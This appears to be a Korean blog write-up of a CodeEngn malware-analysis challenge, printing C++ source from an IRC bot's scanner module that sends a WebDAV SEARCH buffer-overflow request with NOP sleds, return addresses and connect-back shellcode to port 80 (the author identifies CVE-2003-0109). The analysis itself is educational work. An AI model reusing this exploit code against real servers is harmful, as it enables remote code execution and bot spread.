728x90
이번 문제도 주어진 파일은 cpp파일입니다.
한번 열어보면
char body[]=
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
"</g:searchrequest>\r\n";
CScannerMalware_L02::CScannerMalware_L02() { m_sScannerName.Assign("Malware_L02"); }
void CScannerMalware_L02::StartScan(const CString &sHost)
{ bool bSuccess=false;
if(ScanPort(sHost.CStr(), 80))
{ g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());
bSuccess=Exploit(sHost); }
if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); }
bool CScannerMalware_L02::Exploit(const CString &sHost)
{ char szSCBuf[4096]; char szShellBuf[4096];
char *szReqBuf=(char*)malloc(100000); unsigned short ret=0xB102;
int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;
int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sSocket==-1) return false;
sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET; ssin.sin_port=htons(80);
ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());
if(ssin.sin_addr.s_addr==INADDR_NONE)
{ free(szReqBuf); xClose(sSocket); return false; }
if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \
Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
else
iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \
Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
memset(szSCBuf+iPos, '\x90', iNOPSize ); iPos+=iNOPSize;
memcpy(szSCBuf+iPos, szShellBuf, iShellSize ); iPos+=iShellSize;
iSCSize=iPos; iPos=0;
memset(szReqBuf, 0, 100000);
strcpy(szReqBuf, "SEARCH /");
int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';
for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2); iPos+=2; }
for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));
strcat(szReqBuf, " HTTP/1.1\r\n");
sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);
strcat(szReqBuf, body);
memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
iReqSize=strlen(szReqBuf);
int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));
if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }
while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;
if(rt) { xClose(sSocket); free(szReqBuf); return false; }
저번보다 확실히 좀더 복잡한 코드입니다.
대략적으로 분석해보면, 특정 주소의 80번 포트를 스캔해서 만약 열려있다면 body배열에 있는 문자열을 활용해서
Exploit 함수로 대상 서버를 익스플로잇하는 코드로 보입니다.
80번포트는 인터넷 포트이고 쓰이는 문자열들을 보니 POST 요청에 쓰이는 문자열들로 보이므로
웹서버를 스캔해서 익스플로잇하는 코드인것으로 추측됩니다.
그런데 정확히 어떤 기법인지 잘 모르겠어서 이것저것 검색해보다가 바인드쉘이라는 기법을 발견해서
이건가 싶었지만 정답은 아니였습니다.
그래서 어떤 기법으로 익스플로잇 하는것일까하고 찾아봤는데
문득 body배열에 있는 문자열 첫번째줄을 한번 검색해봤는데
CVE - CVE-2003-0109 (mitre.org)
다음과 같은 CVE 취약점이 있었다는것을 알게되었습니다.
이 취약점은 예전에 쓰이던 windows 웹서버 버전들에게 발생하던 취약점이라는것으로 확인됩니다.
버퍼오버플로우를 활용한 공격으로 보이는데 WebDAV 요청을 통해서 임의의 코드를 실행할수 있다고 나와있습니다.
그래서 관련된 키워드를 찾아본 결과,
정답은 webdav 인것으로 파악되었습니다.
728x90
'워게임 > CodeEngn' 카테고리의 다른 글
[CodeEngn] Malware Analysis L05 (0) | 2022.10.06 |
---|---|
[CodeEngn] Malware Analysis L03 (0) | 2022.10.06 |
[CodeEngn] Malware Analysis L01 (0) | 2022.10.06 |
[CodeEngn] Basic RCE L17 (0) | 2022.07.17 |
[CodeEngn] Basic RCE L16 (0) | 2022.07.08 |